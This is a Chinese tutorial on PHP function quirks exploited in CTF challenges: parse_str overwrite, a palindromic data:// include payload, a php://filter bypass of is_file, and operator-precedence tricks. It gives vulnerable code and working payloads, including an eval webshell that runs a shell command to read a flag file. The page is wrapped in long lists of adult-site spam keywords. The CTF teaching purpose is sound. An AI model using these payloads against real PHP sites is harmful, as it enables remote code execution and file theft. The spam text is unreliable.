日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

CTF中的PHP特性函數解析之下篇

瀏覽:292日期:2022-06-06 15:52:34
目錄
  • 前言
  • parse_str
  • strrev
  • is_file
  • 優先級問題
  • 結語

前言

上篇文章講的進階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數的最后一篇,我也會重點介紹一些有趣的PHP特性以及利用方法,下面開始我們今天的內容分享。

parse_str

parse_str()這個函數會把查詢字符串解析到變量中。那么我們如何利用它的特性呢,我們看下面的例子:

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST["v1"])){    $v1 = $_POST["v1"];    $v3 = $_GET["v3"];       parse_str($v1,$v2);       if($v2["flag"]==md5($v3)){   echo $flag;       }} ?>

分析一下代碼要求我們什么,看最后要我們數組v2等于md5(v3),而根據上面代碼v2則是由該函數經過v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數的特點將v2[flag]的值覆蓋,那么具體要怎樣做呢?

先對數字5進行md5加密:

<?php$b=md5("5");echo $b;// e4da3b7fbbce2345d7772b0674a318d5?>

之后再從v1傳入我們的值即可完成繞過:

Payload:GET:v3=5POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

這個函數還是很好理解的,就是將字符串進行翻轉,曾經遇到過考察這個的題目覺得很有趣分享給大家,我們先看代碼:

highlight_file(__FILE__);    $file = $_POST["file"];    if(isset($file)){if(strrev($file)==$file){    include $file;}

代碼很簡單,第一個是高亮代碼沒有什么用,要我們傳入file而且要使回文數等于它本身并且還要考慮如何進行攻擊,是不是不太好想,這里使用php里面的data協議,該協議可以進行寫入數據,而且?>閉合后可以加任意字符不會受別的影響。于是我們構造代碼:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路還是挺巧妙的。

is_file

該函數檢測是不是一個常規的文件類型,在CTF中也出過繞過這個函數的題目,下面我們先看看代碼:

<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){    if(preg_match("/../|http|https|data|input|rot13|base64|string/i",$file)){die("hacker!");    }else{return $file;    }}$file=$_GET["file"];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} ?>

分析一下filter函數過濾了很多關鍵字符串對我們的輸入進行限制,最后還不能讓is_file檢測出來是文件,那我們要怎樣讀取flag.php文件呢,看最后有個高亮file的操作,這里就是利用點,我們要讓其等于flag文件,于是需要繞過:

這里 根據特性is_file不會識別php偽協議,于是我們構造下面代碼:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

這樣傳入即可繞過檢測。

優先級問題

在php里存在以下優先級特性:

&&與||的優先級高于=,而&&優先級高于||

=的優先級高于and與or

這里也可以作為考點來考,我們看下面代碼:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["username"]) && isset($_GET["password"]) && isset($_GET["code"])){    $username = (String)$_GET["username"];    $password = (String)$_GET["password"];    $code = (String)$_GET["code"];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == "admin"){    echo $flag;}     }}

我們需要傳入三個參數,之后進行類型的強制轉換,再通過判斷語句,最后需要code參數等于admin方可解題,根據優先級原則,所以當第一個判斷條件為true時,直接跳過第二個條件然后判斷第三個條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構造payload:

?code=admin&password=1&username=admin

結語

本文到這就結束了,這篇文章講了幾個比較有趣而且有一些難度的特性知識,不知道大家吸收的咋樣了,當然PHP特性遠沒有這么少,更多關于CTF PHP特性函數的資料請關注其它相關文章!

標簽: PHP
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
久久精品国产精品亚洲毛片| 国产精品视频3p| 最新亚洲国产| 偷拍欧美精品| 国产一区视频在线观看免费| 国产麻豆久久| 亚洲伦乱视频| 亚洲精品91| 视频一区视频二区在线观看| 青草av.久久免费一区| 国产一区二区三区四区五区传媒| 久久三级福利| 少妇精品久久久一区二区| 国产精品99久久久久久董美香| 日韩大片在线播放| 亚洲伊人精品酒店| 成人在线视频中文字幕| 国产午夜久久| 久久只有精品| 欧美1区免费| 欧美日韩一区二区三区四区在线观看| 久久久久久婷| 久久高清免费观看| 久久精品毛片| 国产另类在线| 国产精品88久久久久久| 国产亚洲一区二区三区啪| 久久伦理在线| 国产日韩欧美中文在线| 免费欧美一区| 黄色欧美在线| 日韩精品视频网| 欧美日韩免费观看一区=区三区| 国产精品久久久久久模特| 欧美精品一区二区久久| 麻豆91精品91久久久的内涵| 久久亚洲欧洲| av资源中文在线天堂| 亚洲欧美网站在线观看| 精品理论电影在线| 蜜臀久久99精品久久久久久9| 亚洲国产成人二区| 日本午夜精品| 欧美女激情福利| 黄色精品视频| 日韩二区三区四区| 国产偷自视频区视频一区二区| 国产一区一一区高清不卡| 蜜臀国产一区二区三区在线播放| 毛片在线网站| 国产精品国产三级在线观看| 99在线精品视频在线观看| 91一区二区| 国产伦精品一区二区三区视频| 久久精品国产www456c0m| 欧美激情在线精品一区二区三区| 欧美精品一线| 国产激情在线播放| 国产情侣一区| 亚洲区第一页| 久久亚洲风情| 欧美高清一区| 久久人人精品| 中文字幕高清在线播放| 国产探花在线精品一区二区| 视频一区免费在线观看| 欧美日韩高清| 日韩毛片在线| 中文字幕在线看片| 欧美黑人巨大videos精品| 日韩av资源网| 亚洲欧美久久精品| 久久国产高清| 在线午夜精品| 蜜臀国产一区| jizzjizz中国精品麻豆| 国产精品99久久免费| 日本不卡在线视频| 亚洲精品自拍| 亚洲开心激情| 日韩中文字幕一区二区三区| 亚洲黄页一区| 夜夜嗨一区二区三区| 日韩一级不卡| 欧美日韩四区| 伊人影院久久| 亚洲精品成人| 最新亚洲激情| 亚洲欧美日韩视频二区| 亚洲欧美不卡| 亚洲综合二区| 中文一区一区三区免费在线观| 亚洲综合精品| 亚洲精品综合| 日本久久一区| 欧美一区久久| 国产精品啊v在线| 免费看久久久| 国产一区二区三区不卡视频网站 | 999久久久91| 久久国产影院| 亚洲高清成人| 合欧美一区二区三区| 伊人久久成人| 一区二区国产精品| 日本不卡的三区四区五区| 欧美久久一区二区三区| 国产精品亚洲产品| 久久久久亚洲精品中文字幕| 鲁大师精品99久久久| 国产一区二区三区黄网站| 亚洲黄色免费av| 日韩国产一区二区三区| 久久精品亚洲人成影院 | 丝袜美腿一区二区三区| 久久xxxx| 97久久亚洲| 精品国产乱码久久久久久1区2匹| 国产精品伦理久久久久久| 亚洲高清不卡| 亚洲男人在线| 久久精品福利| 久久久久久美女精品| 五月天久久777| 亚洲精品福利| 国际精品欧美精品| 女同性一区二区三区人了人一| 一级欧美视频| 里番精品3d一二三区| 久久网站免费观看| 亚洲精品高潮| 国内在线观看一区二区三区| 欧美 日韩 国产一区二区在线视频| 蜜桃av一区| 麻豆国产一区| 久久精品国产亚洲夜色av网站| 在线精品亚洲| 精品72久久久久中文字幕| 亚洲精品一级二级| 蜜桃视频在线观看一区| 国产精品一级| 91精品蜜臀一区二区三区在线 | 国产一区二区三区不卡av | 国产伦理一区| 日韩另类视频| 日韩影片在线观看| av日韩中文| 亚洲制服欧美另类| 国产精品久久| 婷婷综合社区| 国产精品传媒麻豆hd| 国产一区亚洲| 88久久精品| 99久久九九| 日本不卡中文字幕| 韩国精品主播一区二区在线观看| 影音先锋久久精品| 日本一二区不卡| 日韩中文欧美在线| 国产999精品在线观看| 蜜桃久久久久久久| 久久久久免费| 日本精品在线播放| а√天堂8资源中文在线| 亚洲综合福利| 欧美不卡高清一区二区三区| 日本在线视频一区二区| 日韩伦理一区| 青青青国产精品| 欧美肉体xxxx裸体137大胆| 国产亚洲欧美日韩在线观看一区二区| 91精品韩国| 国产精品中文字幕亚洲欧美| 免费视频一区三区| 精品一区av| 日日夜夜免费精品视频| av一区在线| 欧美精品成人| 亚洲国产不卡| 成人在线免费观看网站| 亚洲婷婷丁香| 久久久久网站| 国产精品一区二区av交换| 中国女人久久久| 在线看片国产福利你懂的| 91精品美女| 日韩专区一卡二卡| 香蕉久久99| 精品欠久久久中文字幕加勒比| 亚洲久久一区| 欧美精品一区二区久久| 97精品在线| 国产精品视频一区视频二区| 亚洲免费播放| 国产99久久| 国产欧洲在线| 国产精品探花在线观看| 日产欧产美韩系列久久99| 日韩一区二区久久| 久久精品国内一区二区三区水蜜桃|